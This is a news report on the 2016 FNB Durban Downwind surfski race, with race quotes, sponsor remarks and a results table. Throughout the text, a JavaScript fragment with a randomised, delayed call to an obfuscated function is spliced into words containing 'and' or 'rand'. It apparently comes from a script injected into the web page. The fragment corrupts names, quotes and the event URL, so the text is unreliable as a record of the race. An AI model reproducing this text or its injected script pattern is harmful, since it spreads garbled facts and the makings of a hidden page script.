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    McGregor bags maiden FNB Durban Downwind success

    Written by Barry Lewin on . Posted in SurfSki Events

    Durban – South African paddling icon Hank McGregor overcame sickness, flat conditions as well as a strong local field to clinch his maiden FNB Durban Downwind win on Sunday while the in-form Nicole Russell claimed the World Surfski Series title event’s women’s crown.

    2016HankMcGregor

    Despite organisers’ best efforts to stage the race in the best available wind conditions of the weekend, Mother Nature didn’t come to the party as hoped andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the 26km journey from La Mercy Beach to Marine Surf Lifesaving Club at Addington Beach was a testing one for all.

    McGregor, having come close to victory in the race’s debut in 2014, had little hassle second time around as he claimed a commandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding triumph, racing home one minute andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and four seconds ahead of Matt Bouman.

    “I’m glad to take the win this time around,” said McGregor. “I narrowly lost it two years ago so it’s nice to win the Durban Downwind for the first time.”

    “Conditions were pretty tough; there was hardly any assistance really so it was a hard slog for 26kms.

    “I managed to get out in front early andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and then kept the guys behind me for the rest of the race – there weren’t too many tactics involved really.

    “I was in hospital on Friday so it was a hit andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and miss whether I was going to race but I’m glad I was able to get out there andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it’s nice to have gotten the win,” added the Euro Steel/Epic Kayaks athlete.

    Bouman echoed McGregor’s sentiments regarding the conditions while sang the praises of the victor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the organisers alike.

    “It’s sad that it was as flat as it was because there aren’t many races where the organisers genuinely search for the best downwind conditions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Durban Downwind is one of them where they do.

    “This was one of only a few opportunities where the guys use the whole two day window period to try to find the wind but when Mother Nature says there’s no wind then there simply is no wind.

    “I’m not unhappy with how I performed; it was good for me personally but the person who puts in the most work is the guy who wins andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it’s something you’ve got to give people credit for.

    “Hank was just too strong today andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and well done to him for that. The man’s commitment to sport andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the amount of work he does is one hell of a thing,” added Bouman graciously.

    Australia’s Mark Anderson (Fenn Kayaks/Oceanpaddler Sydney) claimed the bottom step of the podium while Gene Prato andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Barry Lewin (Jeep Team) claimed positions four andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and five.

    Carbonology Sport’s Bailey de Fondaumiere was the first junior across the line, finishing seventh overall, while birthday boy, Wade Krieger (Epic Kayaks/Falcon World Travel) rounded out the top ten.

    In the women’s charge, Russell andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Hayley Nixon went head to head from the get-go, the former edging out the latter by thirty three seconds in the end.

    “I love the Durban Downwind andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it’s great to win again,” said Russell. “Winning SA Marathon Champs a couple of weeks ago definitely gave me a bit of confidence in these flat conditions because I do normally prefer the bumps, runs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a bit of swell.”

    “I knew it was going to be a grind but it was even tougher than I was expecting.

    “Haylz (Nixon) was there the whole way andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it was a ding-dong battle between us. I went deep early on andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I didn’t see Hayley until we met up at about halfway. I then went on the inside andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and she stuck to the middle, which worked out for me in the end but it was very close.”

    Nixon was pleased with her effort. “It was an awesome race andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a titanic battle. I’m stoked with second place andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and well done to Nikki on her win,” the Carbonology Sport competitor said.

    While a predominantly local field, eleven paddlers from Gauteng andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and one each from Western andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Eastern Cape made the journey to Durban for the race with Johannesburg’s Anna Clifford Arwidi rounding out the women’s podium while Durbanville Hills’ Anton Holtzhausen was the first Masters competitor home.

    Through the support of title sponsors FNB, a prize money purse of R40000 was given away across all age groups andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and categories while all finishers stood the chance winning various Thule andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Funky Pants lucky draws prizes.

    “KwaZulu-Natal is South Africa’s second largest economy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is well positioned in the tourism andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sporting sectors,” commented Howard Arrandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, FNB Business – KZN Provincial Head.

    “We relish the opportunity to be involved with the Durban Downwind event as the sport continues to grow in popularity as one of the key activities in the province andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the South African sporting calendar.

    “Congratulations to all those who took part in the race as well as the families, spectators andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the various communities who showed their support,” he added.

    More information can be found at www.durbandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andownwind.co.za.

    SUMMARY OF RESULTS
    2016 FNB DURBAN DOWNWIND

    Overall
    1.Hank McGregor 1:44.50
    2.Matt Bouman 1:45.54
    3.Mark Anderson (AUS) 1:48.54
    4.Gene Prato 1:49.27
    5.Barry Lewin 1:50.40
    6.Luke Nisbet 1:50.52
    7.Bailey de Fondaumiere (U18) 1:52.35
    8.Jason Ekstrandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 1:53.06
    9.Steve Woods 1:53.43
    10.Wade Krieger 1:54.10

    Women
    1.Nicole Russell 2:01.32
    2.Hayley Nixon 2:02.05
    3.Anna Clifford Arwidi 2:27.49

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